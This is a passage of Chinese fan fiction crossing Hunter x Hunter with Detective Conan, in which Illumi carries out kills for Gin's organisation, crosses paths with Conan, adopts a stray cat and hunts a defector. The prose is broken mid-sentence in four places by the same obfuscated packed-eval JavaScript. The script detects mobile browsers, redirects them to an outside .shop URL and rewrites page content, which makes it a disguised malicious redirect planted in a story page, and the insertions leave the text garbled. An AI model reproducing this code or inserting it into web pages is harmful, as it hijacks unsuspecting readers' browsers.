伊尔迷:没事,随便问问。 佐藤:……你是不是在那边? 伊尔迷没有回复。 他把手机收起来,重新观察柯南。 小孩已经从房子后面绕出来了,手里多了一个小本子,正在写什么。他的表情很严肃,完全不像一个七岁的小学生。 伊尔迷决定继续等。 目标在民宅里,柯南在外面。如果他这个时候动手,柯南一定会发现。被一个侦探发现自己在杀人现场,即使那个侦探只有七岁,也不是一件好事。 他给Gin发了一条消息:目标位置有围观群众,需要延迟。 Gin秒回:多久? 伊尔迷:不确定。可能半小时,可能一小时。 Gin:别拖太久。 伊尔迷:好。 他收起手机,继续观察。 柯南在民宅周围转了一圈,拍了几张照片,然后走到街对面的电话亭里,似乎在打电话。 伊尔迷看了一会儿,忽然觉得这个场景有点荒谬。 一个杀手和一个侦探,在同一条街上,等同一个目标。 杀手在等侦探离开。 侦探在等谁? 他想了想,掏出手机搜了一下米花町最近的案件。 搜索结果出来的时候,他挑了挑眉。 过去一个月,米花町发生了三起命案。死者的死状都很相似——双手放在胸前,手指交叉,像是在祈祷。 昨天那个死者,是第四起。 连环杀人案。 而今天的目标,会不会和这个案子有关? 他正想着,柯南从电话亭里出来了。他没有离开,而是走到民宅门口,按了门铃。 门开了。一个女人的声音传出来:“谁啊?” “阿姨你好,我是住在附近的小学生!我们在做社会课的作业,想问问附近居民几个问题!可以打扰一下吗?” 那个声音软糯糯的,天真无邪。 伊尔迷靠在墙边,嘴角动了一下。 这个小孩,演技不错。 女人犹豫了一下,打开门让柯南进去了。 伊尔迷看着门关上,掏出手机,给Gin发了一条消息:目标还在里面吗? Gin:在。你那边什么情况? 伊尔迷:有个小孩进去了。 Gin:小孩? 伊尔迷:嗯。住附近的。 Gin沉默了一会儿。 Gin:等小孩走了再动手。 伊尔迷:我知道。 Gin:别伤到那个小孩。 伊尔迷看着这条消息,又愣了一下,有一瞬间,他开始思考手机对面的上司是不是被人夺舍,或者被谁控制了。 这不像是Gin会说的话。 但伊尔迷也没多说,只回了一个“好”。 又过了二十分钟。 柯南从房子里出来了。他的表情比进去之前更严肃,小本子上写满了字。 伊尔迷等柯南走远之后,绕到房子后面,从窗户翻了进去。 目标在卧室里。是一个四十多岁的中年男人,正坐在床上看电视。 伊尔迷出现在他面前的时候,他吓得差点从床上滚下来。 “你、你是谁?!” “来送你上路的人。” 伊尔迷抬手。 三秒后,目标倒在床上,姿势安详。 伊尔迷看了一眼他的双手——没有交叉,没有祈祷。 他想了想,把目标的双手摆成了交叉的姿势。 然后他从窗户翻出去,消失在巷子里。 回到公寓后,伊尔迷给Gin发了一条消息:任务完成。 Gin:那个小孩呢? 伊尔迷:走了之后我才动手的。 Gin:嗯。 Gin:那个小孩是什么人? 伊尔迷想了想,回了一句:好像是个侦探。 Gin:侦探?七岁的侦探? 伊尔迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387953|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :嗯。挺厉害的。 Gin沉默了很久,似乎是在思索什么,良久,才给他发来了回复。 Gin:别惹他。 伊尔迷:我没惹他。 Gin:那就好。 Gin:画出他的样貌传给我。 伊尔迷意识到了什么,思索片刻后,他画了一个不比火柴人精确多少的涂鸦发了过去,成功获得了Gin的沉默。 故意忽视了上司此刻的无语,伊尔迷放下手机,坐到茶几前。他拿起一只没叠完的小狗,开始编织。 叠到一半,他忽然停下来。 今天他把目标的双手摆成了祈祷的姿势。这样一来,警方会把这起死亡和连环杀人案联系起来。组织的任务就会被掩盖在连环杀人案的阴影之下,不会引起太多注意。 这是他临时想出来的主意。 本来伊尔迷觉得自己这个举动没问题,但是今天柯南也路过了现场,他的主意并非天衣无缝。 更主要的是,Gin好像对柯南颇有兴趣,难道这两者之间也有关联? 思索间,伊尔迷的手机响了。 是佐藤的消息:米花町二丁目又发现一具尸体!死状和之前的连环杀人案一模一样!你刚才是不是在那边? 伊尔迷回了一个:路过。 佐藤:…你是不是每次都能路过命案现场? 伊尔迷想了想,回了一句:运气不好。 佐藤发了一长串省略号。 伊尔迷把手机放下,继续叠小狗。 叠完小狗的尾巴,他把小狗放进新买的玻璃罐里。 第四个罐子,又快满了。 他看了一眼窗外,天色已经暗下来了。 手机又响了。 这次是工藤优作发来的。 工藤优作:新一说他在米花町二丁目看到一个长得很帅的大哥哥,问他是不是你的朋友。 伊尔迷:他怎么说的? 工藤优作:他说那个大哥哥在命案现场附近出现,很可疑。 伊尔迷:然后呢? 工藤优作:然后我说那是我的朋友,在做市场调研。 伊尔迷:他信了吗? 工藤优作:不太信。 伊尔迷:那你应该编一个更好的理由。 工藤优作:比如? 伊尔迷想了想,回了一句:比如我是保险公司的,在调查客户的死因。 工藤优作:…你是不是经常编理由? 伊尔迷:不是。只是觉得这个理由比较合理。 工藤优作没有再回复。 伊尔迷把手机放下,关灯睡觉。 黑暗中,他忽然想起Gin今天说的那句话。 “别伤到那个小孩。” 他翻了个身。 这件事,好像比他想象的要复杂一点。 一个杀人不眨眼的犯罪组织核心成员,怎么会关心一个陌生小孩的安危?柯南果然和他有关联吧。 还是说,Gin只是不想让任务节外生枝? 伊尔迷想了想,觉得两者的可能性都更大。 他闭上眼睛,很快睡着了。 9. 第 9 章 伊尔迷第二次见到柯南,是在三天后。 那天他去便利店买小蛋糕——最近他迷上了一款新出的抹茶味,甜度比草莓味低一点,但口感更细腻——走到门口的时候,看见柯南和几个小孩蹲在路边,围着一只纸箱子。 箱子里有一只橘猫,瘦瘦的,脏兮兮的,看起来是流浪猫。 “我们把它带回家吧!”一个戴发卡的小女孩说,声音甜甜的。 “你妈妈不是对猫毛过敏吗?”旁边一个胖胖的小男孩说。 “那放在阿笠博士家?” “阿笠博士已经养了三只猫了。”另一个小女孩说,扎着马尾,看起来很文静。 几个人陷入了沉默。 橘猫在箱子里叫了一声,声音很小。 伊尔迷站在旁边看了一会儿。 “大哥哥!”柯南最先发现他,站起来打招呼,“真的好巧,我们已经碰到好几次了。你来买东西吗?” “嗯。” “买什么呀?” “蛋糕。” “哦…”柯南看了一眼他手里的袋子,“你很喜欢吃甜食吗?” “嗯。” 柯南笑了笑,那个笑容还是天真无邪的。但伊尔迷注意到,他的眼睛在观察自己手里的袋子、穿的衣服、站的位置。 这个小孩,随时随地都在观察别人。 “这只猫你们打算怎么办?”伊尔迷问。 几个小孩同时看向他。 “我们想把它带回家,但是没有人能养…”那个戴发卡的小女孩说,声音有点委屈。 伊尔迷低头看了一眼纸箱里的橘猫。 猫也抬头看他,眼睛圆圆的,瞳孔很大。 “给我吧。”他说。正好无聊。 几个小孩同时愣住了。 “大哥哥你要养它吗?”柯南问。 “嗯。” “你家里可以养猫吗?” “可以。” 伊尔迷的公寓没有禁止养宠物的规定。他早就查过合同了。 “那太好了!”小女孩高兴地跳起来,“大哥哥你真好!” 伊尔迷蹲下来,把橘猫从纸箱里抱出来。 猫很轻,比看起来还要瘦。它在他怀里缩成一团,身体微微发抖,但没有挣扎。 “它有名字吗?”伊尔迷问。 “没有唉。”小女孩摇摇头,“我们刚发现它。” “那我来取。” 伊尔迷低头看了一眼怀里的猫。 橘色的毛,瘦瘦的身体,圆圆的眼睛。 “就叫小奇。”他说。 “小奇?”柯南歪了歪头,“为什么叫小奇?” “因为它的眼睛很像一个人。” “谁呀?” 伊尔迷没有回答。 他抱着猫站起来,对小学生们点了点头。 “谢谢你们发现它。” 然后转身往公寓走。 身后,几个小孩看着他走远的背影。 “那个大哥哥好帅哦…”戴发卡的小女孩小声说。 “是啊,而且他好温柔!”胖胖的小男孩说。 “他刚才说猫的眼睛像一个人,像谁呀?”扎马尾的小女孩问。 柯南站在原地,镜片反着光。 “不知道。”他说。 但他知道一件事:那个人的眼神,不像是一个会温柔对待流浪猫的人。 那种眼神他见过。在案发现场,在罪犯的脸上,在那些杀过人的眼睛里。 那是一双杀手的眼睛。 但一个杀手,为什么会收养一只流浪猫? 柯南皱了皱眉,把这个疑问记在心里。 伊尔迷抱着小奇回到公寓,给它洗了个澡,用吹风机吹干。 小奇全程都很乖,没有挣扎,没有抓人。只是偶尔叫一声,声音很小。 洗完之后,伊尔迷把它放在沙发上,去厨房找吃的。 冰箱里只有牛奶和鸡蛋。 他热了一杯牛奶,倒在小碟子里,放在小奇面前。 小奇低头舔了两口,然后抬起头看他。 “怎么了?不好喝?” 小奇叫了一声。 伊尔迷想了想,打开手机搜了一下“猫能不能喝牛奶”。 搜索结果说:大部分猫有乳糖不耐受,不能喝牛奶。 他把牛奶倒掉,换了一碗水。 小奇低头喝水,喝完之后舔了舔嘴巴,缩成一团睡着了。 伊尔迷坐在旁边看了一会儿。 这只猫很瘦,毛色也不好,看起来在外面吃了不少苦。 他伸手摸了摸小奇的头。 小奇在睡梦中发出咕噜咕噜的声音。 伊尔迷收回手,拿起茶几上的念线,开始叠小动物。 叠到一半,他忽然停下来。 他给猫取名叫小奇。 因为它的眼睛很像奇犽。 圆圆的,亮亮的,看起来很聪明,但又有一种说不出的倔强。 他想起奇犽最后一次看他的眼神——在揍敌客家的走廊里,奇犽回过头,对他说了一句“大哥,我讨厌你”,然后转身跑了。 那是他穿越之前的事。 伊尔迷低头看着手里的小动物,沉默了很久。 然后他继续叠。 叠完之后,他把小动物放进玻璃罐里。 第五个罐子,也快满了。不过这次,有小猫陪他。小猫咪并不怕他,现在已经自来熟地睡在了他的腿上,暖呼呼的。 伊尔迷并不讨厌这种被依赖的感觉。 第二天,伊尔迷去警视厅交情报。 佐藤在办公室里等他,桌上摆着一杯咖啡和一份文件。 “来了?”佐藤抬起头,“咖啡给你准备的。” “谢谢。”伊尔迷坐下,接过咖啡,杯边残留了些许速溶咖啡粉。 “昨天米花町的案子,你有什么想法吗?”佐藤问。 “什么想法?” “就是那个连环杀人案。第四起了,死状都一样。你有没有在组织里听到什么风声?” 伊尔迷想了想。 “没有。这个案子不是组织做的。” “你怎么知道?” “因为组织杀人不会这么麻烦。”伊尔迷说,“直接杀就行了,不需要摆姿势。” 佐藤愣了一下,然后苦笑。 “你说的也是…” “不过,”伊尔迷说,“我倒是有一个线索。” “什么?” “死者的双手交叉,手指并拢,像是在祈祷。这种姿势在宗教仪式里很常见。你们可以查一查附近有没有什么宗教团体。” 佐藤眼睛一亮。 “这个方向我们还没查过!你怎么想到的?” 伊尔迷想了想。 “因为以前见过类似的。” 在猎人世界,有一种暗杀手法,会在死者身上留下特定的标记,用来向其他人传递信息。这个祈祷的姿势,看起来也像是某种标记。 “什么案子?”佐藤追问。 “很久以前的事了。”伊尔迷说,“不在日本。” 佐藤点点头,没有继续追问。 “对了,”伊尔迷忽然说,“你懂怎么养猫吗?” 佐藤愣了一下。 “养猫?你养猫了?” “嗯。昨天捡的。” “什么猫?” “橘猫。很小,很瘦。” 佐藤的表情变得柔和了。 “橘猫很好养的。先带它去宠物医院做个检查,打疫苗,驱虫。然后买猫粮、猫砂、猫砂盆。小猫的话,最好买幼猫粮,泡软了再喂。”听起来,佐藤似乎很有养猫的经验。 伊尔迷把这些记在手机备忘录里。 “还有,”佐藤补充道,“猫需要打疫苗,需要绝育。你什么时候有空?我可以陪你去宠物医院。” 伊尔迷看了她一眼。 “不用。我自己去。” “好吧…”佐藤有点失望,“那你有问题随时问我。” “好。” 伊尔迷站起来,准备走。 走到门口的时候,佐藤叫住他。 “对了,那个连环杀人案,你如果有什么新发现,随时告诉我。” “好。” “还有,”佐藤犹豫了一下,“你…注意安全。” 伊尔迷回头看了她一眼。 佐藤的表情有点不自然。 “我是说,那个连环杀手可能还在活动,你住在米花町 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387954|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小心一点。” “嗯。” 伊尔迷推门离开。 走出警视厅的时候,他掏出手机,搜了一下附近的宠物医院。 有一家评价不错,走路十分钟。 他给医院打了个电话,预约了下午的体检。 然后他往公寓走。 走到半路,手机响了。 是Gin的消息:晚上有任务。资料发你了。 伊尔迷打开资料,看了一眼。 目标是一个金融公司的社长,涉嫌洗钱。任务地点在杯户町的一家酒店。 他回了一个“好”。 然后把手机收起来,加快脚步往公寓走。 他得先把小奇安顿好,再去执行任务。 回到公寓,小奇还在沙发上睡觉,缩成一团,呼吸平稳。 伊尔迷蹲下来,轻轻摸了摸它的头。 “晚上我要出去一趟。”他说,“你在家乖乖的。” 小奇睁开眼睛,看了他一眼,然后闭上眼睛继续睡。 伊尔迷站起来,走到玄关,换了鞋子。 出门之前,他回头看了一眼。 小奇在沙发上翻了个身,露出圆滚滚的肚皮。 他嘴角动了一下,推门离开。 晚上八点,伊尔迷到达杯户町的酒店。 目标在十二楼的套房里,身边有两个保镖。 他乘电梯到十一楼,走楼梯上十二楼,从消防通道进入走廊。 走廊里很安静,铺着厚厚的地毯,走路没有声音。 他走到目标房间门口,侧耳听了一下。 里面有说话声。 他掏出工具,三秒打开门锁。 推门进去的时候,两个保镖同时转过头。 然后他们同时倒下。 伊尔迷走到目标面前。 金融社长正在打电话,看见他进来,脸色瞬间变白。 “你——” 伊尔迷抬手。 任务完成。 他走出房间,关上房门,原路返回。 走到酒店大堂的时候,他看见一个熟悉的身影。 柯南站在大堂里,身边站着三个小孩:就是昨天那三个。 他们在看大堂里的一个鱼缸,里面有各种颜色的热带鱼。 “哇,好漂亮!”戴发卡的小女孩趴在玻璃上。 “这条是孔雀鱼,这条是神仙鱼。”胖胖的小男孩一个个地念名字。 柯南站在旁边,看起来很无聊。 伊尔迷从他身边走过。 柯南抬起头,目光和他对上。 “大哥哥!”柯南露出一个惊喜的表情,但伊尔迷觉得有点刻意:“你也来这里玩吗?” “嗯。”伊尔迷说,“办点事。” “什么事呀?” “商业咨询。” 柯南的笑容没有变,但伊尔迷注意到他的目光在自己身上快速扫了一圈:衣服、鞋子、手指。 “大哥哥,你的鞋子上有灰尘耶。”柯南说,语气天真无邪。 伊尔迷低头看了一眼。 鞋尖上沾了一点灰。是刚才走消防通道的时候蹭到的。 “哦。”他说,“楼梯脏。” “大哥哥走楼梯上来的吗?” “嗯。电梯太慢了。” 柯南笑了笑,没有再追问。 伊尔迷点点头,继续往门口走。 走出酒店的时候,他回头看了一眼。 柯南站在鱼缸前面,背对着他,似乎在看鱼。 但他的肩膀微微绷着,像是在听身后的动静。 伊尔迷收回视线,走进夜色里。 回到公寓,小奇还在睡觉。 伊尔迷换了拖鞋,坐到茶几前,拿起念线。 他看了一眼手机。 Gin发来一条消息:任务完成,奖金已发放。 他打开银行APP,看了一眼余额。 然后他放下手机,继续叠小动物。 窗外的夜色很深。 小奇在沙发上翻了个身,发出轻轻的呼噜声。 伊尔迷叠完最后一只千纸鹤,把它放进玻璃罐里。 第五个罐子,满了。 他需要买第六个。 10. 第 10 章 消息是凌晨三点传来的。 伊尔迷被手机震动吵醒的时候,正梦见自己在揍敌客家的厨房里偷吃蛋糕——基裘做的,奶油很厚,上面铺满了草莓。梦里他刚咬下第一口,手机就震了。 他睁开眼睛,摸过床头柜上的手机。 Gin:有叛徒。沼渊己一郎,昨晚跑的。处理掉。 下面附了一张照片和一个地址。 伊尔迷盯着屏幕看了三秒,把照片放大。 沼渊己一郎。三十出头,瘦长脸,眼神阴郁。原主记忆里有这个人——代号没了,属于组织外围成员,负责一些跑腿和盯梢的工作。据说以前是某个杀手组织的,后来被组织收编,但一直没混出什么名堂。 叛逃。 这个词在揍敌客家不存在。因为揍敌客家的人从来不逃——逃了也没地方去,枯枯戮山方圆几百公里都是无人区,跑出去不是被野兽吃了就是被家族追兵打死。而且揍敌客家的规矩是:你可以不接任务,但你不能背叛家族。 伊尔迷坐起来,揉了揉眼睛。 窗外还是黑的。小奇在猫窝里翻了个身,发出轻轻的呼噜声。 他打开Gin发来的地址,看了一眼。杯户町,某栋廉价公寓。距离他现在的位置大概四十分钟车程。 他回了一个“好”,然后起床洗漱。 换衣服的时候,他看了一眼冰箱——里面还有半块抹茶蛋糕和两块草莓慕斯。他犹豫了一秒,把草莓慕斯拿出来装进袋子里,打算路上吃。 出门的时候,小奇醒了,从猫窝里跳出来蹭到他的脚边。 “出去办事。”伊尔迷蹲下来摸了摸它的头,“很快回来。” 小奇叫了一声,跟着他走到门口。 伊尔迷把它抱起来放回猫窝里,关上门。 凌晨三点的街道很安静。路灯昏黄,空气里有一股潮湿的味道,像是要下雨。伊尔迷一边走一边拆开草莓慕斯的包装,咬了一口。 冷。甜。奶油有点硬,大概是冰箱里放太久了。 他决定下次买回来就吃,不留到第二天。 四十分钟后,他到了杯户町。 Gin给的地址是一栋六层楼的廉价公寓,外墙斑驳,楼道灯坏了一半。伊尔迷站在楼下,抬头看了一眼——五楼,靠左边的窗户,没有灯。 他走楼梯上去。 楼道里很安静,只有他自己的脚步声。每一层都堆着住户的杂物——自行车、纸箱、旧家具,像是在走一条被遗忘的走廊。 到五楼的时候,他停下脚步。 目标房间的门开着一条缝。 伊尔迷站在门口,没有急着进去。他侧耳听了一下——里面没有声音,连呼吸声都没有。 他推开门。 房间里很乱。椅子翻倒在地,抽屉被拉开,衣服和纸张散了一地。窗户开着,夜风吹进来,窗帘猎猎作响。 人已经跑了。 伊尔迷走进去,扫了一眼现场。床铺是乱的,但摸上去已经凉了。桌上的烟灰缸里有三个烟头,都灭了很久。地上有一张揉皱的纸条,他捡起来展开,上面写着一个地址和几个字——“接头,米花町图书馆,下午三点”。 他掏出手机,给Gin发消息:人不在公寓,跑了。现场发现一张纸条,写着米花町图书馆,下午三点。 Gin秒回:纸条上的字迹是谁的? 伊尔迷看了一眼纸条上的字。字迹潦草,但能看出是成年男人的笔迹。 伊尔迷:不确定。不像目标的字。 Gin:拍给我看。 伊尔迷拍了张照片发过去。 Gin沉默了一会儿。 Gin:这是组织里某个人的字。但我不能确定是谁。 伊尔迷:需要我去图书馆蹲点吗? Gin:去。如果接头的人出现,跟着他。如果沼渊出现,直接处理。 伊尔迷:好。 他把手机收起来,又在房间里转了一圈。 衣柜是空的,几件廉价衬衫挂在衣架上没带走。床头柜上有一个相框,里面是一张合照——沼渊和另一个男人,两人都穿着黑色衣服,站在一辆黑色轿车前面。另一个男人看起来比沼渊年轻一些,脸上没什么表情。 伊尔迷把相框放回去。 他走到窗边,往下看了一眼。五楼,下面是条小巷,对面是一栋矮楼,楼顶有太阳能热水器和晾衣绳。 如果他是沼渊,他会怎么跑? 从窗户翻出去?五楼,普通人跳下去会摔死。但如果是沿着排水管往下爬,可以到三楼,然后跳到对面的矮楼上。 伊尔迷探出头看了一眼排水管。管子上有新的擦痕,金属扣松动了两颗。 果然是沿着排水管跑的。 他收回视线,离开房间。 走到楼下的时候,天已经蒙蒙亮了。街角的便利店亮着灯,一个店员正在门口扫地。 伊尔迷走过去,买了一盒牛奶和一袋面包。 “请问,”他一边付钱一边问,“这附近有没有什么二十四小时营业的地方?” 店员想了想:“往前走两条街有个网吧,二十四小时的。再远一点有个麦当劳。” “谢谢。” 伊尔迷走出便利店,一边喝牛奶一边想。 沼渊跑的时候什么都没带——衣服、现金、证件,都留在公寓里。一个什么都没带的人,在凌晨三点跑路,能去哪里? 网吧。或者麦当劳。 他往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387955|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网吧的方向走。 两条街后,他看见那家网吧的招牌。霓虹灯灭了一半,”三个字母只有“N”还亮着。 他推门进去。 前台坐着一个染黄毛的年轻人,正在打游戏。看见伊尔迷进来,头也没抬:“包夜还是钟点?” “我想问一下,昨晚有没有一个瘦瘦的、长脸的男人来上网?” 黄毛抬起头,看了他一眼,又看了看他的衣服。 “你谁啊?” “他朋友。他手机打不通,我找他有点事。” 黄毛想了想:“有。凌晨四点多来的,开了个包间。走了大概半小时。” 伊尔迷点点头。 “他包间号是多少?” “203。” “谢谢。” 他上楼找到203包间。门没锁,推门进去,里面有一股烟味和汗味混合的气味。电脑还开着,屏幕上是一个新闻网站,页面停留在米花町连环杀人案的报道。 桌上的烟灰缸里有四五个烟头,旁边的外卖盒里还有没吃完的炒饭。 伊尔迷看了一眼炒饭,已经凉了,油凝成一团。 他坐到电脑前,翻了翻浏览记录。除了新闻网站,沼渊还搜了几个东西——“如何偷渡”“伪造护照”“日本出境口岸”。 看来是真的想跑。 他掏出手机,把浏览记录拍下来发给Gin。 Gin:他还在米花町。 伊尔迷:嗯。他约了下午三点在图书馆接头。可能有人帮他跑路。 Gin:知道接头的人是谁吗? 伊尔迷:不知道。但纸条上的字迹,你说你认识。 Gin:我还在确认。 伊尔迷:好。 他退出包间,走到网吧门口。 天已经亮了。街上的行人多起来,赶着上班的、送孩子上学的、遛狗的。一个穿校服的女生从他身边跑过去,书包带子拖在地上。 伊尔迷站在门口,从口袋里摸出一颗牛奶糖,剥开吃掉。 现在才早上六点。距离下午三点还有九个小时。 他决定先回家补一觉,顺便给小奇喂食。 回到公寓的时候,小奇正趴在猫窝里舔爪子。看见他回来,跳出来蹭他的脚。 伊尔迷给它倒了猫粮,换了水,然后躺到床上。 他闭上眼睛,脑子里过了一遍今天的任务。 沼渊约了下午三点在米花町图书馆接头。他要提前到,蹲点,等接头的人出现。如果沼渊来了,直接处理。如果接头的人来了,跟着接头的人,看能不能找到沼渊。 Gin让他去处理叛徒,说明Gin信任他。 或者说,Gin在试探他。 11. 第 11 章 下午两点,伊尔迷到了米花町图书馆。 这是一栋三层的旧建筑,外墙是灰扑扑的水泥,门口的招牌已经褪了色。图书馆对面有一家咖啡厅,二楼靠窗的位置可以看到图书馆的正门和侧门。 伊尔迷在咖啡厅点了一杯美式咖啡和一块提拉米苏,坐到靠窗的位置。 他先观察了一下周围的环境。 图书馆正门朝南,侧门朝东,后门朝北。正门有一个公交站,侧门是一条小巷,后门通向一个停车场。正门和侧门都有监控,后门没有。 他咬了一口提拉米苏。 咖啡酒的味道很浓,马斯卡彭奶酪很绵密。 不错。 他决定以后常来这家咖啡厅。 时间还早。他一边吃蛋糕一边观察楼下的行人。 两点十分,一辆黑色轿车停在图书馆门口。车上下来一个穿灰色西装的男人,四十多岁,戴着墨镜,手里拎着一个公文包。他左右看了一眼,走进图书馆。 伊尔迷拿出手机,拍了一张照片,发给Gin。 Gin:不认识。继续观察。 两点二十,一个穿运动服的年轻人从侧门进去。两点半,两个背着书包的小学生跑进正门。两点四十,一个推着婴儿车的年轻妈妈从图书馆门口经过,没有进去。 两点四十五分,伊尔迷看见了一个熟悉的身影。 柯南。 小孩穿着蓝色小西装,戴着黑框眼镜,一个人从街角走过来。他没有直接进图书馆,而是在门口站了一会儿,看了看四周,然后推门进去。 伊尔迷皱了一下眉。 这个小孩来图书馆干什么? 他想起沼渊的电脑浏览记录里也有连环杀人案的新闻。两件事有关系吗? 这次他并没有拍照给Gin,而是给工藤优作发了一条消息:你儿子在米花町图书馆。 工藤优作秒回:他去图书馆干什么? 伊尔迷:不知道。我也是刚看见他。 工藤优作:他在查案? 伊尔迷:可能。 工藤优作:你在图书馆干什么? 伊尔迷想了想,回了一句:等人。 工藤优作:等谁? 伊尔迷:一个朋友。 工藤优作发了一串省略号。 工藤优作:你不会是在执行任务吧? 伊尔迷:不是。商业咨询。 工藤优作:……你能不能换个理由? 伊尔迷没有回复。 他把手机收起来,继续观察。 三点差五分,一个男人从街角走过来。 瘦,高,长脸,穿着一件灰色夹克,帽子压得很低。 沼渊己一郎。 伊尔迷放下咖啡杯。 沼渊走路的姿势很警惕,每一步都在观察周围——回头看了一次,左右看了三次,经过一辆停着的车时还特意绕了一下,像是怕车里有人。 他走到图书馆门口,没有直接进去,而是在门口站了一会儿,点了根烟。 三点整,他掐灭烟头,推门进去。 伊尔迷没有动。 他在等接头的人。 如果接头的人出现,他就跟着接头的人。如果接头的人不出现,他就进去处理沼渊。 时间一分一秒地过去。 三点零五分。三点十分。三点十五分。 没有人来。 伊尔迷皱了一下眉。 接头的人迟到了。或者,接头的人已经在了——在沼渊进去之前就已经在图书馆里了。 他想起那个穿灰色西装的男人。四十多岁,墨镜,公文包。那个人是三点前进来的。 他给Gin发了一条消息:接头的人可能已经到了。一个灰色西装,四十多岁,墨镜,公文包。三点整进的图书馆。沼渊三点整也进去了。 Gin:灰色西装我查一下。 伊尔迷:需要我进去吗? Gin:等。 伊尔迷放下手机,继续观察。 三点二十分,图书馆的正门开了。 沼渊先出来。他的表情不太好看,脸色发白,嘴唇紧抿。出来之后没有停留,快步往公交站走。 紧接着,灰色西装的男人也出来了。他比沼渊晚出来大概十秒,出来之后往反方向走,步伐很快。 伊尔迷的判断——他们没有接上头。或者接上头,但谈崩了。 他需要决定跟谁。 沼渊是目标。灰色西装是线索。 他选了沼渊。 他放下咖啡钱,快步走出咖啡厅。 沼渊正在公交站等车。伊尔迷站在他身后十米远的地方,靠在一根电线杆上,不紧不慢地从口袋里摸出一颗牛奶糖,剥开吃掉。 公交车来了。沼渊上车,伊尔迷跟在后面上车。 车上人不多。沼渊坐在最后排靠窗的位置,伊尔迷坐在中间排靠门的位置。他侧过头,假装在看窗外的风景,实际上在观察沼渊的倒影——车窗玻璃上映出他的脸,苍白的,紧绷的,一直在看窗外。 公交车开了四站。沼渊在米花公园站下车。 伊尔迷跟在他后面下车。 沼渊沿着公园外围走,穿过一条小巷,走进一栋住宅楼。 伊尔迷站在巷口等了一会儿,然后走进去。 住宅楼很旧,没有门禁,楼梯间堆着杂物。他走楼梯上去,每上一层就停下来听一下。 三楼,左边第二个房间,有开门的声音。 他记住位置,然后下楼。 走出巷口的时候,他给Gin发消息:沼渊的新地址。米花町三丁目,寿和公寓,三楼左边第二个房间。 Gin:灰色西装的人查到了。组织外围成员,代号Nero,负责联络。已经确认他没有叛逃。 伊尔迷:所以他不是来帮沼渊的? Gin:不是。他是来处理沼渊的。 伊尔迷愣了一下。 Gin ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387956|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :组织派了两拨人。你负责外围,Nero负责内线。他先进去跟沼渊谈,如果沼渊愿意回来,就带回来。如果不愿意,你来处理。 伊尔迷看着这条消息,沉默了一会儿。 Gin:怎么不说话? 伊尔迷:我在想,如果你提前告诉我,我就不用在咖啡厅等一个小时了。 Gin沉默了一会儿。 Gin:这是测试。 伊尔迷:测试什么? Gin:测试你在信息不全的情况下会怎么判断。 伊尔迷想了想。 伊尔迷:那你觉得我判断得怎么样? Gin:你跟了沼渊,没跟Nero。这是对的。叛徒比联络人重要。 伊尔迷:所以及格了? Gin没有回复。 伊尔迷把手机收起来,往公寓走。 路过便利店的时候,他进去买了一袋牛奶糖和一块芝士蛋糕。 回到公寓,小奇正在猫窝里睡觉。伊尔迷换了拖鞋,坐到沙发上,打开蛋糕盒。 他切了一块,慢慢吃。 芝士的味道很浓,饼底很脆。 他想起Gin说的“测试”。 所以Gin确实在试探他。 说是想看看他在信息不全的情况下会怎么判断。这是一个老板在评估下属的能力。但谁又知道呢,说不定也是觉得他可疑。 想到这,伊尔迷又咬了一口蛋糕。 还好他跟的是沼渊。 如果他跟了Nero,沼渊就会跑掉。那Gin可能就不会说“及格了”,而是说“你让我很失望”之类的。 他又切了一块蛋糕。 不对。如果沼渊跑掉了,Gin不会说“你让我很失望”。Gin会直接派另一个人去处理,然后把他的奖金扣掉一半。 他吃完蛋糕,洗了盘子,躺到床上。 手机亮了。 是Gin的消息:明天晚上动手。别拖。 伊尔迷:好。 Gin:沼渊可能会联系警方。如果他进了警局,事情就麻烦了。 伊尔迷:他不会。 Gin:为什么? 伊尔迷:因为他是叛徒。叛徒最怕的不是组织,是警察。组织只会杀他,警察会让他坐牢,然后把他所有的底细都翻出来。他宁愿死在组织手里,也不愿意被警察抓。 